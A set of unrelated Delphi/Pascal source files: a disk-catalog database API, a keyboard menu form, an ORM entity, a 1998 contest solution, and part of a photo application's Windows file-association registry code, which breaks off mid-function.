Database^.OnDatabaseBegin := OnDatabaseBegin;
Database^.OnDatabaseEnd := OnDatabaseEnd;
Database^.OnDiskBegin := OnDiskBegin;
Database^.OnDiskEnd := OnDiskEnd;
Database^.OnFolderBegin := OnFolderBegin;
Database^.OnFolderEnd := OnFolderEnd;
Database^.OnFile := OnFile;
end;
//-----------------------------------------------------------------------------
// Clears the callback functions for export of disks
procedure QI_DelNotifyProcs (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.ClearUpdateFunct;
Database^.ClearNotifyFunct;
end;
//-----------------------------------------------------------------------------
// Iterates files for printing or export
procedure QI_IterateFiles (DBHandle: PDBaseHandle; SearchIn: TSearchIn;
eSendType: TSendType);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Database^.IterateFiles(SearchIn, eSendType);
end;
//-----------------------------------------------------------------------------
// Finds disks sorted according to the size
procedure QI_FindEmpties (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
Database^.FindEmpties;
end;
//-----------------------------------------------------------------------------
// Returns one found item - used in the form to build own collection of searched
// items
function QI_GetSearchItemAt (DBHandle: PDBaseHandle; Index: Integer;
var AOneFile: TOneFile; var ADisk,
ADir, AShortDesc: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
begin
QI_GetSearchItemAt := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
if (Index < 0) or (Index >= Database^.FileSearchCol^.Count) then exit;
fillchar(aOneFile, SizeOf(TOneFile), 0);
ADir := '';
with PFSearchItem(Database^.FileSearchCol^.At(Index))^ do
begin
ADir := GetPQString(Dir);
ADisk := GetPQString(Disk);
AShortDesc := GetPQString(ShortDesc);
aOneFile.LongName := GetPQString(LongName);
aOneFile.Ext := Ext;
aOneFile.Size := Size;
aOneFile.Time := Time;
aOneFile.Attr := Attr;
aOneFile.Description := Description;
aOneFile.SelfFilePos := SelfFilePos;
end;
QI_GetSearchItemAt := true;
end;
//-----------------------------------------------------------------------------
// Returns the count of found files
function QI_GetFoundCount (DBHandle: PDBaseHandle): Integer;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
QI_GetFoundCount := Database^.FileSearchCol^.Count;
end;
//-----------------------------------------------------------------------------
// Clears the collection with found items
procedure QI_ClearFoundList (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.FileSearchCol = nil then
raise EQDirFatalException.Create(lsErrorFileSearchColIsNil);
Database^.FileSearchCol^.FreeAll;
end;
//-----------------------------------------------------------------------------
// Returns data for indication of search progress
procedure QI_GetSearchProgress (DBHandle: PDBaseHandle;
var Percent: Integer;
var DisksCount, DirsCount, FilesCount: longint);
var
Database: PDatabase absolute DBHandle;
begin
DisksCount := 0;
DirsCount := 0;
FilesCount := 0;
Percent := 0;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.KeyField = nil then
raise EQDirFatalException.Create(lsErrorKeyFieldIsNil);
DisksCount := Database^.DisksCount;
DirsCount := Database^.DirsCount;
FilesCount := Database^.FilesCount;
if Database^.KeyField^.CountValid > 0 then
Percent := (DisksCount * 100) div Database^.KeyField^.CountValid;
end;
//-----------------------------------------------------------------------------
// Gets the maximum disk name length - used for setting the width of the column
// when printing
procedure QI_GetMaxNameLength (DBHandle: PDBaseHandle;
var MaxNameLength, AvgNameLength, MaxNamePxWidth: Integer);
var
Database: PDatabase absolute DBHandle;
begin
MaxNameLength := 0;
MaxNamePxWidth := 0;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
MaxNameLength := Database^.MaxNameLength;
MaxNamePxWidth := Database^.MaxNamePxWidth;
if Database^.FilesCount > 0
then AvgNameLength := Database^.NameLengthSum div Database^.FilesCount
else AvgNameLength := 0;
end;
//-----------------------------------------------------------------------------
// Recursively finds specified directory in the tree
function QI_GoToDir (DBHandle: PDBaseHandle; Path: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
DirCol : PDirCollection;
begin
QI_GoToDir := false;
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
if Database^.TreeStruct = nil then
raise EQDirFatalException.Create(lsErrorTreeStructIsNil);
DirCol := Database^.TreeStruct^.RecurseFindDir(Database^.TreeStruct^.RootDirCol, Path);
if DirCol <> nil then
begin
Database^.TreeStruct^.CurDirCol := DirCol;
Database^.TreeStruct^.UpdateCurFileCol(fsAll);
QI_GoToDir := Database^.TreeStruct^.CurDirCol^.GetFullDirPath = Path;
end;
end;
//-----------------------------------------------------------------------------
// Copies database. Used when reindexing.
function QI_CopyDatabase (SrcDBHandle, TarDBHandle: PDBaseHandle;
WholeDbase, CheckDuplicates,
CopyLocalOptions: boolean): boolean;
var
SrcDatabase: PDatabase absolute SrcDBHandle;
TarDatabase: PDatabase absolute TarDBHandle;
begin
if (SrcDatabase = nil) or (TarDatabase = nil) then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
Result := SrcDatabase^.CopyDatabase(TarDatabase, WholeDbase,
CheckDuplicates, CopyLocalOptions);
end;
//=============================================================================
// Not used anymore - was used to set the volume label.
function QI_SetVolumeLabel (VLabel: ShortString; Drive: char): boolean;
begin
Result := false;
// QI_SetVolumeLabel := SetVolumeLabel(VLabel, Drive);
end;
//==== Import from QuickDir 4 =================================================
procedure QI_OpenQDir4Database (Name: ShortString);
begin
OpenQDir4Database (Name);
end;
//-----------------------------------------------------------------------------
function QI_ReadQDir4Entry (Position: longInt): boolean;
begin
Result := ReadQDir4Entry (Position);
end;
//-----------------------------------------------------------------------------
procedure QI_CloseQDir4Database;
begin
CloseQDir4Database;
end;
//-----------------------------------------------------------------------------
function QI_GetQDir4VolumeLabel: ShortString;
begin
Result := GetQDir4VolumeLabel;
end;
//-----------------------------------------------------------------------------
procedure QI_GetQDir4RecordAttr(var aDiskSize, aDiskFree: longword; aScanDate: longint);
begin
GetQDir4RecordAttr(aDiskSize, aDiskFree, aScanDate);
end;
//-----------------------------------------------------------------------------
function QI_ScanQDir4Record (DBHandle: PDBaseHandle; Path: ShortString; VolumeLabel: ShortString): boolean;
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then
raise EQDirFatalException.Create(lsErrorDBaseIsNil);
with Database^ do
begin
if TreeStruct <> nil then Dispose(TreeStruct, Done);
TreeStruct := New(PTreeStruct, Init(Database, false));
Result := TreeStruct^.ScanQDir4Record(Path, VolumeLabel);
end;
end;
//-----------------------------------------------------------------------------
procedure QI_SetQDir4CharConversion (Kamen: boolean);
begin
SetQDir4CharConversion (Kamen);
end;
//-----------------------------------------------------------------------------
function QI_GetErrorCounter (DBHandle: PDBaseHandle): integer;
var
Database: PDatabase absolute DBHandle;
begin
Result := 0;
if Database = nil then exit;
Result := Database^.ErrorCounter;
end;
//-----------------------------------------------------------------------------
procedure QI_ClearErrorCounter (DBHandle: PDBaseHandle);
var
Database: PDatabase absolute DBHandle;
begin
if Database = nil then exit;
Database^.ErrorCounter := 0;
end;
//-----------------------------------------------------------------------------
end.
|
unit ufrmMouselessMenu;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ButtonGroup, Vcl.ExtCtrls,
Vcl.StdCtrls, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters,
cxContainer, cxEdit, cxGroupBox, cxRadioGroup, Vcl.Menus, System.Actions,
Vcl.ActnList;
type
TMyLabel = class(TLabel)
private
FMenuItem: TMenuItem;
FNumber: Integer;
procedure SetMenuItem(const Value: TMenuItem);
public
constructor Create(aOwner: TComponent; aMenu: TMenuItem; aNumber: Integer);
reintroduce;
property MenuItem: TMenuItem read FMenuItem write SetMenuItem;
property Number: Integer read FNumber write FNumber;
end;
TMyPanel = class(TPanel)
public
constructor Create(aOwner: TComponent); reintroduce;
end;
TfrmMouselesMenu = class(TForm)
pnlTop: TPanel;
pnlBot: TPanel;
pnlBody: TPanel;
lbCTRLDel: TLabel;
Label1: TLabel;
edtPilihan: TEdit;
lblCaption: TLabel;
procedure edtPilihanKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure edtPilihanKeyPress(Sender: TObject; var Key: Char);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
private
FCurrentMenu: TMenuItem;
procedure AddLabel(aMenu: TMenuItem);
procedure ClearMenu;
procedure CloseExecute;
procedure ExecuteMenu(aNumber: Integer);
function GetCurrPanel: TMyPanel;
function GetMyLabelCount: Integer;
function GetMenuByNumber(aNumber: Integer): TMenuItem;
function GetPanelCount: Integer;
procedure InitMenu;
procedure SetCurrentMenu(const Value: TMenuItem);
{ Private declarations }
public
procedure CreateContainer(NumOfMenu: Integer);
procedure ShowMenu(aMenu: TMenuItem); overload;
procedure ShowMenu(aMenu: TMainMenu); overload;
property CurrentMenu: TMenuItem read FCurrentMenu write SetCurrentMenu;
{ Public declarations }
end;
var
frmMouselesMenu: TfrmMouselesMenu;
const
_MaxItemRows : Integer = 10;
implementation
uses
ufrmMain;
{$R *.dfm}
procedure TfrmMouselesMenu.AddLabel(aMenu: TMenuItem);
var
aPanel: TMyPanel;
// lLabel: TMyLabel;
begin
//check current panel Body
//check menu has action or onlick event
if aMenu.Count = 0 then
if not Assigned(aMenu.Action) then
exit;
aPanel := GetCurrPanel;
if not Assigned(aPanel) then
aPanel := TMyPanel.Create(pnlBody)
else begin
if aPanel.ControlCount > _MaxItemRows then
begin
aPanel := TMyPanel.Create(pnlBody);
end;
end;
// lLabel :=
TMyLabel.Create(aPanel, aMenu, GetMyLabelCount + 1);
end;
procedure TfrmMouselesMenu.ClearMenu;
var
i: Integer;
lCtrl: TControl;
begin
// Application.ProcessMessages;
Self.CurrentMenu := nil;
for i := pnlBody.ControlCount-1 downto 0 do
begin
if pnlBody.Controls[i] is TMyPanel then
begin
lCtrl := pnlBody.Controls[i];
pnlBody.RemoveControl( lCtrl );
FreeAndNil(lCTRL);
end;
end;
end;
procedure TfrmMouselesMenu.CloseExecute;
begin
if Self.CurrentMenu = nil then
Self.Close
else if Self.CurrentMenu.Parent = nil then
Self.Close
else
ShowMenu(Self.CurrentMenu.Parent);
end;
procedure TfrmMouselesMenu.CreateContainer(NumOfMenu: Integer);
begin
end;
procedure TfrmMouselesMenu.edtPilihanKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_ESCAPE then
Self.CloseExecute;
end;
procedure TfrmMouselesMenu.edtPilihanKeyPress(Sender: TObject; var Key: Char);
var
Handled: Boolean;
begin
Handled := False;
If Key = #13 then
begin
If edtPilihan.Text = '' then exit;
ExecuteMenu(StrToInt(edtPilihan.Text));
Handled := True;
end else
begin
if (Self.GetMyLabelCount <= 9) and (CharInSet(Key, ['0'..'9'])) then
begin
ExecuteMenu(StrToInt(Key));
Handled := True;
end;
end;
if Handled then
begin
Key := #0;
edtPilihan.Clear;
end;
end;
procedure TfrmMouselesMenu.ExecuteMenu(aNumber: Integer);
var
mn: TMenuItem;
begin
mn := GetMenuByNumber(aNumber);
if mn = nil then
begin
MessageDlg('Nomor Menu Salah',mtError, [mbOK],0);
exit;
end;
if mn.Count > 0 then
ShowMenu(mn)
else begin
if mn.Action <> nil then
begin
mn.Action.Execute;
Self.Close;
end;
end;
end;
procedure TfrmMouselesMenu.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;
procedure TfrmMouselesMenu.FormCreate(Sender: TObject);
begin
InitMenu;
ShowMenu(frmMain.mmMainMenu);
end;
procedure TfrmMouselesMenu.FormKeyDown(Sender: TObject; var Key: Word; Shift:
TShiftState);
begin
if Key = VK_ESCAPE then
Self.Close;
end;
function TfrmMouselesMenu.GetCurrPanel: TMyPanel;
var
i: Integer;
begin
Result := nil;
If GetPanelCount > 0 then
begin
// Result := TMyPanel(pnlBody.Controls[GetPanelCount-1])
for i := pnlBody.ControlCount-1 downto 0 do
begin
if pnlBody.Controls[i] Is TMyPanel then
begin
Result := pnlBody.Controls[i] as TMyPanel;
Break;
end;
end;
end;
end;
function TfrmMouselesMenu.GetMyLabelCount: Integer;
var
i: Integer;
pnl: TMyPanel;
begin
Result := 0;
for i := 0 to pnlBody.ControlCount-1 do
begin
if pnlBody.Controls[i] is TMyPanel then
begin
pnl := pnlBody.Controls[i] as TMyPanel;
Result := Result + pnl.ControlCount;
end;
end;
end;
function TfrmMouselesMenu.GetMenuByNumber(aNumber: Integer): TMenuItem;
var
i: Integer;
j: Integer;
pnl: TMyPanel;
begin
Result := nil;
for i := 0 to pnlBody.ControlCount-1 do
begin
if pnlBody.Controls[i] is TMyPanel then
begin
pnl := pnlBody.Controls[i] as TMyPanel;
for j := 0 to pnl.ControlCount -1 do
begin
if pnl.Controls[j] is TMyLabel then
begin
if TMyLabel(pnl.Controls[j]).Number = aNumber then
begin
Result := TMyLabel(pnl.Controls[j]).MenuItem;
Exit;
end;
end;
end;
end;
end;
end;
function TfrmMouselesMenu.GetPanelCount: Integer;
var
i: Integer;
begin
Result := 0;
for i := 0 to pnlBody.ControlCount-1 do
begin
if pnlBody.Controls[i] is TMyPanel then
Result := Result + 1;
end;
end;
procedure TfrmMouselesMenu.InitMenu;
begin
end;
procedure TfrmMouselesMenu.SetCurrentMenu(const Value: TMenuItem);
begin
FCurrentMenu := Value;
end;
procedure TfrmMouselesMenu.ShowMenu(aMenu: TMenuItem);
var
i: Integer;
procedure SetCaption(aMenu: TMenuItem);
begin
if aMenu.Parent <> nil then
begin
If aMenu.Parent.Name = '' then
lblCaption.Caption := 'MAIN MENU >> ' + lblCaption.Caption
else
lblCaption.Caption := aMenu.Parent.Caption + ' >> ' + lblCaption.Caption;
SetCaption(aMenu.Parent);
end;
end;
begin
ClearMenu;
for i := 0 to aMenu.Count-1 do
begin
AddLabel(aMenu.Items[i]);
end;
lblCaption.Caption := aMenu.Caption;
If aMenu.Name = '' then lblCaption.Caption := 'MAIN MENU';
SetCaption(aMenu);
Self.CurrentMenu := aMenu;
end;
procedure TfrmMouselesMenu.ShowMenu(aMenu: TMainMenu);
var
i: Integer;
begin
ClearMenu;
for i := 0 to aMenu.Items.Count-1 do
begin
AddLabel(aMenu.Items[i]);
end;
lblCaption.Caption := 'MAIN MENU';
Self.CurrentMenu := nil;
end;
constructor TMyLabel.Create(aOwner: TComponent; aMenu: TMenuItem; aNumber:
Integer);
begin
inherited Create(aOwner);
Self.AutoSize := False;
Self.Font.Name := 'Trebuchet MS';
Self.Font.Size := 9;
Self.Font.Style := [fsBold]; //, fsUnderline];
Self.Font.Color := clNavy;
// Self.Margins.Top := 10;
// Self.Margins.Bottom := 10;
Self.AlignWithMargins := True;
Self.MenuItem := aMenu;
Self.Number := aNumber;
Self.Caption := IntTostr(aNumber) + '. ' + UpperCase(aMenu.Caption);
Self.name := 'lblMenu' + IntToStr(aNumber);
Self.Parent := TWinControl(aOwner);
Self.Align := alTop;
Self.top := TWinControl(aOwner).Height;
end;
procedure TMyLabel.SetMenuItem(const Value: TMenuItem);
begin
FMenuItem := Value;
end;
constructor TMyPanel.Create(aOwner: TComponent);
var
i: Integer;
iCount: Integer;
pnlBody: TPanel;
begin
inherited Create(aOwner);
pnlBody := TPanel(aOwner);
Self.Left := pnlBody.Width;
Self.Align := alLeft;
Self.BevelOuter := bvNone;
if aOwner.InheritsFrom(TWinControl) then
Self.Parent := pnlBody;
iCount := 0;
for i := 0 to pnlBody.ControlCount-1 do
if pnlBody.Controls[i] is TMyPanel then inc(iCount);
if iCount = 0 then iCount := 1;
Self.Name := 'pnlItem' + IntToStr(iCount);
Self.Caption := '';
for i := 0 to pnlBody.ControlCount-1 do
begin
if pnlBody.Controls[i] is TMyPanel then
pnlBody.Controls[i].Width := Trunc(pnlBody.Width / iCount);
end;
end;
end.
|
unit TESTCOTACAO.Entidade.Model;
interface
uses
DB,
Classes,
SysUtils,
Generics.Collections,
/// orm
ormbr.types.blob,
ormbr.types.lazy,
ormbr.types.mapping,
ormbr.types.nullable,
ormbr.mapping.classes,
ormbr.mapping.register,
ormbr.mapping.attributes,
TESTORCAMENTO.Entidade.Model;
type
[Entity]
[Table('TESTCOTACAO', '')]
[PrimaryKey('CODIGO', NotInc, NoSort, False, 'Chave primária')]
TTESTCOTACAO = class
private
{ Private declarations }
FCODIGO: String;
FIDORCAMENTO: String;
FDATA_CADASTRO: TDateTime;
FULTIMA_ATUALIZACAO: TDateTime;
FTESTORCAMENTO_0: TTESTORCAMENTO ;
function getCODIGO: String;
function getDATA_CADASTRO: TDateTime;
function getULTIMA_ATUALIZACAO: TDateTime;
public
{ Public declarations }
constructor Create;
destructor Destroy; override;
[Restrictions([NotNull])]
[Column('CODIGO', ftString, 64)]
[Dictionary('CODIGO', 'Mensagem de validação', '', '', '', taLeftJustify)]
property CODIGO: String read getCODIGO write FCODIGO;
[Restrictions([NotNull])]
[Column('IDORCAMENTO', ftString, 64)]
[ForeignKey('FK1_TESTCOTACAO', 'IDORCAMENTO', 'TESTORCAMENTO', 'CODIGO', Cascade, Cascade)]
[Dictionary('IDORCAMENTO', 'Mensagem de validação', '', '', '', taLeftJustify)]
property IDORCAMENTO: String read FIDORCAMENTO write FIDORCAMENTO;
[Restrictions([NotNull])]
[Column('DATA_CADASTRO', ftDateTime)]
[Dictionary('DATA_CADASTRO', 'Mensagem de validação', 'Now', '', '!##/##/####;1;_', taCenter)]
property DATA_CADASTRO: TDateTime read getDATA_CADASTRO write FDATA_CADASTRO;
[Restrictions([NotNull])]
[Column('ULTIMA_ATUALIZACAO', ftDateTime)]
[Dictionary('ULTIMA_ATUALIZACAO', 'Mensagem de validação', 'Now', '', '!##/##/####;1;_', taCenter)]
property ULTIMA_ATUALIZACAO: TDateTime read getULTIMA_ATUALIZACAO write FULTIMA_ATUALIZACAO;
[Association(OneToOne,'IDORCAMENTO','TESTORCAMENTO','CODIGO')]
property TESTORCAMENTO: TTESTORCAMENTO read FTESTORCAMENTO_0 write FTESTORCAMENTO_0;
end;
implementation
constructor TTESTCOTACAO.Create;
begin
FTESTORCAMENTO_0 := TTESTORCAMENTO.Create;
end;
destructor TTESTCOTACAO.Destroy;
begin
if Assigned(FTESTORCAMENTO_0) then
FTESTORCAMENTO_0.Free;
inherited;
end;
function TTESTCOTACAO.getCODIGO: String;
begin
if FCODIGO = EmptyStr then
FCODIGO := TGUID.NewGuid.ToString;
Result := FCODIGO;
end;
function TTESTCOTACAO.getDATA_CADASTRO: TDateTime;
begin
if FDATA_CADASTRO = StrToDateTime('30/12/1899 00:00') then
FDATA_CADASTRO := Now;
Result := FDATA_CADASTRO;
end;
function TTESTCOTACAO.getULTIMA_ATUALIZACAO: TDateTime;
begin
FULTIMA_ATUALIZACAO := Now;
Result := FULTIMA_ATUALIZACAO;
end;
initialization
TRegisterClass.RegisterEntity(TTESTCOTACAO)
end.
|
{ NEERC'98 Problem "Gangsters"
Solution by Roman Elizarov
22.11.98
}
{$A+,B-,D+,E+,F-,G+,I+,L+,N+,O-,P-,Q+,R+,S+,T-,V+,X+,Y+}
{$M 16384,0,655360}
program GANGSTER_SOLUTION;
function min ( x, y: integer ): integer;
begin
if x < y then
min:= x
else
min:= y;
end;
function max ( x, y: integer ): integer;
begin
if x > y then
max:= x
else
max:= y;
end;
const
maxn = 100;
maxk = 100;
type
gangster = record t, p, s: integer end;
var
g: array[1..maxn] of gangster;
n, k, t, i, j, s1, s2, t_this, dt, s_new: integer;
sum: array[0..maxn, 0..maxk] of integer;
tmp: gangster;
begin
assign ( input, 'gangster.in' ); reset ( input );
assign ( output, 'gangster.out' ); rewrite ( output );
{ Reading input }
read ( n, k, t );
for i:= 1 to n do
read ( g[i].t );
for i:= 1 to n do
read ( g[i].p );
for i:= 1 to n do
read ( g[i].s );
{ Solving - sort the gangsters first }
for i:= 1 to n-1 do
for j:= i+1 to n do
if g[i].t > g[j].t then begin
tmp:= g[i];
g[i]:= g[j];
g[j]:= tmp;
end;
{ Solving - main part }
t_this:= 0;
fillchar ( sum, sizeof(sum), $FF ); { sum[*]:= -1 }
sum[0,0]:= 0;
for i:= 1 to n do begin { for all gangsters ... }
dt:= g[i].t - t_this;
for s1:= 0 to k do
for s2:= max ( 0, s1 - dt ) to min ( k, s1 + dt ) do
if (sum[i-1,s2] >= 0) then begin
s_new:= sum[i-1,s2];
if s1 = g[i].s then
inc ( s_new, g[i].p );
if s_new > sum[i,s1] then
sum[i,s1]:= s_new;
end;
t_this:= g[i].t;
end;
{ Main part done, identify the best total prosperity }
s_new:= 0;
for i:= 0 to k do
if sum[n,i] > s_new then
s_new:= sum[n,i];
{ Write output }
writeln ( s_new );
end.
|
unit uAssociations;
interface
uses
generics.Collections,
System.Classes,
System.SysUtils,
System.StrUtils,
System.SyncObjs,
System.Win.Registry,
Winapi.Windows,
Vcl.Graphics,
Vcl.StdCtrls,
Vcl.Imaging.pngimage,
Vcl.Imaging.jpeg,
{$IFDEF PHOTODB}
GraphicEx,
GifImage,
uRAWImage,
uTiffImage,
uAnimatedJPEG,
uFreeImageImage,
{$ENDIF}
uMemory,
uTranslate,
uStringUtils;
{$IF DEFINED(UNINSTALL) OR DEFINED(INSTALL)}
const
TTIFFImage = nil;
TPSDGraphic = nil;
TGIFImage = nil;
TRAWImage = nil;
TRLAGraphic = nil;
TAutodeskGraphic = nil;
TPPMGraphic = nil;
TTargaGraphic = nil;
TPCXGraphic = nil;
TSGIGraphic = nil;
TPCDGraphic = nil;
TPSPGraphic = nil;
TCUTGraphic = nil;
TEPSGraphic = nil;
TAnimatedJPEG = nil;
TFreeImageImage = nil;
{$IFEND}
type
TAssociation = class(TObject)
end;
TAssociationState = (
TAS_NOT_INSTALLED, TAS_INSTALLED_OTHER, TAS_PHOTODB_HANDLER, TAS_PHOTODB_DEFAULT, TAS_UNINSTALL
);
TFileAssociation = class(TAssociation)
private
FDescription: string;
function GetDescription: string;
public
Extension : string;
ExeParams : string;
Group: Integer;
State: TAssociationState;
GraphicClass: TGraphicClass;
CanSave: Boolean;
property Description: string read GetDescription write FDescription;
end;
TInstallAssociationCallBack = procedure(Current, Total: Integer; var Terminate: Boolean) of object;
TFileAssociations = class(TObject)
private
FAssociations : TList;
FFullFilter: string;
FExtensionList: string;
FChanged: Boolean;
FSync: TCriticalSection;
constructor Create;
procedure AddFileExtension(Extension, Description: string; Group: Integer; GraphicClass: TGraphicClass; CanSave: Boolean = False); overload;
procedure AddFileExtension(Extension, Description, ExeParams : string; Group: Integer; GraphicClass: TGraphicClass; CanSave: Boolean = False); overload;
procedure FillList;
function GetAssociations(Index: Integer): TFileAssociation;
function GetCount: Integer;
function GetAssociationByExt(Ext : string): TFileAssociation;
function GetFullFilter: string;
function GetExtensionList: string;
procedure UpdateCache;
public
class function Instance: TFileAssociations;
destructor Destroy; override;
function GetCurrentAssociationState(Extension: string): TAssociationState;
function GetFilter(ExtList: string; UseGroups: Boolean; ForOpening: Boolean; AdditionalExtInfo: TDictionary<string, string> = nil): string;
function GetExtendedFullFilter(UseGroups: Boolean; ForOpening: Boolean; AdditionalExtInfo: TDictionary<string, string>): string;
function GetGraphicClass(Ext: String): TGraphicClass;
function IsConvertableExt(Ext: String): Boolean;
function GetGraphicClassExt(GraphicClass: TGraphicClass): string;
property Associations[Index: Integer]: TFileAssociation read GetAssociations; default;
property Exts[Ext: string]: TFileAssociation read GetAssociationByExt;
property Count: Integer read GetCount;
property FullFilter: string read GetFullFilter;
property ExtensionList: string read GetExtensionList;
end;
const
EXT_ASSOCIATION_PREFIX = 'PhotoDB';
ASSOCIATION_PREVIOUS = 'PhotoDB_PreviousAssociation';
ASSOCIATION_PHOTODB_FILE_EXT = 'PhotoDB_Owner';
ASSOCIATION_ADD_HANDLER_COMMAND = 'PhotoDBView';
ASSOCIATION_PATH = '\Software\Classes\';
function InstallGraphicFileAssociations(FileName: string; CallBack: TInstallAssociationCallBack): Boolean;
function InstallGraphicFileAssociationsFromParamStr(FileName, Parameters: string): Boolean;
function AssociationStateToCheckboxState(AssociationState: TAssociationState; Update: Boolean): TCheckBoxState;
function CheckboxStateToAssociationState(CheckBoxState: TCheckBoxState): TAssociationState;
function CheckboxStateToString(CheckBoxState: TCheckBoxState): string;
function IsGraphicFile(FileName: string): Boolean;
function IsRAWImageFile(FileName: String): Boolean;
function CanShareVideo(FileName: string): Boolean;
implementation
var
FInstance: TFileAssociations = nil;
FGlobalSync: TCriticalSection = nil;
function AssociationStateToCheckboxState(AssociationState : TAssociationState; Update: Boolean) : TCheckBoxState;
begin
if not Update then
begin
case AssociationState of
TAS_INSTALLED_OTHER,
TAS_PHOTODB_HANDLER:
Result := cbGrayed;
TAS_NOT_INSTALLED,
TAS_PHOTODB_DEFAULT:
Result := cbChecked;
else
raise Exception.Create('Invalid AssociationState');
end;
end else
begin
case AssociationState of
TAS_INSTALLED_OTHER:
Result := cbUnchecked;
TAS_PHOTODB_HANDLER:
Result := cbGrayed;
TAS_NOT_INSTALLED,
TAS_PHOTODB_DEFAULT:
Result := cbChecked;
else
raise Exception.Create('Invalid AssociationState');
end;
end;
end;
function CheckboxStateToAssociationState(CheckBoxState: TCheckBoxState): TAssociationState;
begin
case CheckBoxState of
cbUnchecked:
Result := TAS_INSTALLED_OTHER;
cbGrayed:
Result := TAS_PHOTODB_HANDLER;
cbChecked:
Result := TAS_PHOTODB_DEFAULT;
else
raise Exception.Create('Invalid CheckBoxState');
end;
end;
function StringToAssociationState(State: string): TAssociationState;
begin
if State = 'o' then
Result := TAS_INSTALLED_OTHER
else if State = 'h' then
Result := TAS_PHOTODB_HANDLER
else if State = 'c' then
Result := TAS_PHOTODB_DEFAULT
else
raise Exception.Create('Invalid State');
end;
function CheckboxStateToString(CheckBoxState: TCheckBoxState): string;
begin
case CheckBoxState of
cbUnchecked:
Result := 'o';
cbGrayed:
Result := 'h';
cbChecked:
Result := 'c';
else
raise Exception.Create('Invalid CheckBoxState');
end;
end;
procedure UnregisterPhotoDBAssociation(Ext: string; Full: Boolean);
var
Reg: TRegistry;
ShellPath, ExtensionHandler, PreviousHandler : string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(ASSOCIATION_PATH + Ext, True);
ExtensionHandler := Reg.ReadString('');
PreviousHandler := Reg.ReadString(ASSOCIATION_PREVIOUS);
Reg.CloseKey;
if ExtensionHandler <> '' then
begin
ShellPath := ASSOCIATION_PATH + ExtensionHandler + '\Shell\';
//unregister view menu item
if Reg.KeyExists(ShellPath + ASSOCIATION_ADD_HANDLER_COMMAND + '\Command') then
Reg.DeleteKey(ShellPath + ASSOCIATION_ADD_HANDLER_COMMAND + '\Command');
if Reg.KeyExists(ShellPath + ASSOCIATION_ADD_HANDLER_COMMAND) then
Reg.DeleteKey(ShellPath + ASSOCIATION_ADD_HANDLER_COMMAND);
if StartsText(AnsiLowerCase(EXT_ASSOCIATION_PREFIX) + '.', AnsiLowerCase(ExtensionHandler)) then
begin
//if open with photodb then delete default association
if Reg.KeyExists(ShellPath + 'Open\Command') then
Reg.DeleteKey(ShellPath + 'Open\Command');
if Reg.KeyExists(ShellPath + 'Open') then
Reg.DeleteKey(ShellPath + 'Open');
end;
end;
Reg.OpenKey(ASSOCIATION_PATH + Ext, True);
if PreviousHandler <> '' then
begin
if not StartsText(AnsiLowerCase(EXT_ASSOCIATION_PREFIX) + '.', AnsiLowerCase(PreviousHandler)) then
Reg.WriteString('', PreviousHandler)
else
Reg.WriteString('', '');
end;
ExtensionHandler := Reg.ReadString('');
if StartsText(AnsiLowerCase(EXT_ASSOCIATION_PREFIX) + '.', AnsiLowerCase(ExtensionHandler)) then
Reg.DeleteValue('');
Reg.DeleteValue(ASSOCIATION_PREVIOUS);
if Reg.ValueExists(ASSOCIATION_PHOTODB_FILE_EXT) then
begin
Reg.CloseKey;
Reg.DeleteKey(ASSOCIATION_PATH + Ext);
end else
Reg.CloseKey;
finally
F(Reg);
end;
if Full then
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.DeleteKey('Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\' + Ext);
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.DeleteKey('Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\' + Ext);
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.DeleteKey(ASSOCIATION_PATH + EXT_ASSOCIATION_PREFIX + Ext);
finally
F(Reg);
end;
end;
end;
function InstallGraphicFileAssociationsFromParamStr(FileName, Parameters: string): Boolean;
var
I: Integer;
P: Integer;
SL: TStringList;
S, Ext, State: string;
Association: TFileAssociation;
begin
SL := TStringList.Create;
try
SL.Delimiter := ';';
SL.StrictDelimiter := True;
SL.DelimitedText := Parameters;
for I := 0 to SL.Count - 1 do
begin
S := SL[I];
P := Pos(':', S);
if P > 0 then
begin
Ext := Copy(S, 1, P - 1);
Delete(S, 1, P);
State := S;
